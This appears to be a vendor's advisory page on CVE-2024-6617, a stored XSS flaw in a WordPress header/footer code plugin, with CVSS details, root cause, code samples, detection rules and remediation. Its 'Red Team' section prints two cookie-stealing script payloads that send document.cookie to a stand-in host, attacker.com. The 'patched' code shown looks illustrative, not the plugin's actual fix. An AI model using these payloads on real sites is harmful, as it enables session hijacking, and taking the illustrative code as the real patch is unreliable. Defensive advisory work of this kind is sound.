CVE-2024-6617
Executive Summary
CVE-2024-6617 is a Stored Cross-Site Scripting (XSS) vulnerability found in the NinjaTeam Header Footer Custom Code WordPress plugin, versions prior to 1.2. The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses the default protection. An attacker with admin access can inject persistent JavaScript that executes in the context of any user viewing the affected page, potentially leading to session hijacking, defacement, or further privilege escalation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk if they have not updated to version 1.2. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: Required (Victim must visit the page)
- Scope: Changed (Impact may extend to other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires admin-level access, but in multisite environments, a site administrator can compromise the entire network.
Deep Dive & Mechanics
The vulnerability resides in the plugin's settings page, where users can input custom header and footer code (e.g., JavaScript, CSS, HTML). The plugin does not sanitize or escape these inputs before storing them in the database. When the settings are rendered on the frontend, the unsanitized code is executed in the browser.
Root Cause: The plugin uses update_option() to store the settings without applying sanitize_text_field() or wp_kses() for HTML/JS content. On output, it fails to use esc_html() or wp_kses_post().
Attack Flow:
- An attacker with admin privileges navigates to the plugin settings.
- Injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into the header or footer code field. - The payload is stored in the WordPress options table.
- When any user (including lower-privileged users or visitors) loads a page, the payload executes.
Multisite Impact: In WordPress multisite, super admins can restrict unfiltered_html for site admins. However, this plugin's lack of sanitization allows site admins to bypass that restriction, potentially compromising the entire network.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.2):
// In the plugin's settings page
update_option( 'hfcc_header_code', $_POST['hfcc_header_code'] );
// On frontend output
echo get_option( 'hfcc_header_code' );
Patched Code (version 1.2):
// Sanitize on save
update_option( 'hfcc_header_code', wp_kses_post( $_POST['hfcc_header_code'] ) );
// Escape on output
echo esc_html( get_option( 'hfcc_header_code' ) );
The patch uses wp_kses_post() to allow only safe HTML tags and esc_html() to prevent script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Admin access to a WordPress site running the vulnerable plugin.
- The plugin's settings page (typically under
Settings > Header Footer Custom Code).
Exploit Steps:
- Log in as an admin.
- Navigate to
Settings > Header Footer Custom Code. - In the "Header Code" field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Click "Save Changes".
- Any user visiting any page on the site will trigger the XSS.
Alternative Payload (for session hijacking):
<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unexpected changes to the
hfcc_header_codeandhfcc_footer_codeoptions in the database. - Look for admin users creating or modifying plugin settings with suspicious content.
Hardening:
- Immediately update the plugin to version 1.2 or later.
- If update is not possible, disable the plugin.
- Implement Web Application Firewall (WAF) rules to block common XSS payloads in admin requests.
- Restrict admin access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/header-footer-custom-code/header-footer-custom-code.php(version < 1.2) - Database Option:
hfcc_header_codeorhfcc_footer_codecontaining<script>tags or obfuscated JavaScript. - Network: Outbound HTTP requests to unknown domains from the WordPress server (e.g.,
GET /steal?cookie=...). - Logs: WordPress admin logs showing changes to plugin settings by non-super-admin users in multisite.
Detection Engineering
YARA Rule
rule CVE_2024_6617_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress options for Header Footer Custom Code plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-6617"
strings:
$option_name = "hfcc_header_code" nocase
$option_name2 = "hfcc_footer_code" nocase
$xss_payload = /<script[^>]*>.*<\/script>/is
condition:
($option_name or $option_name2) and $xss_payload
}
Sigma Rule
title: CVE-2024-6617 - Stored XSS in Header Footer Custom Code Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress options table
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
option_name:
- 'hfcc_header_code'
- 'hfcc_footer_code'
option_value|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in header/footer (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6617 - Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 1.2 or later from the WordPress plugin repository.
- If update is not possible, disable the plugin immediately.
- Audit the database for any stored XSS payloads in
hfcc_header_codeandhfcc_footer_codeoptions. Remove any suspicious entries.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block XSS attempts.
- Enforce the principle of least privilege for WordPress admin users.
- Regularly audit plugins for known vulnerabilities.
- Use a security plugin (e.g., Wordfence) to monitor file changes and database modifications.
Patch Details:
- Upgrade to version 1.2 or later. The patch is available via the WordPress plugin repository.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.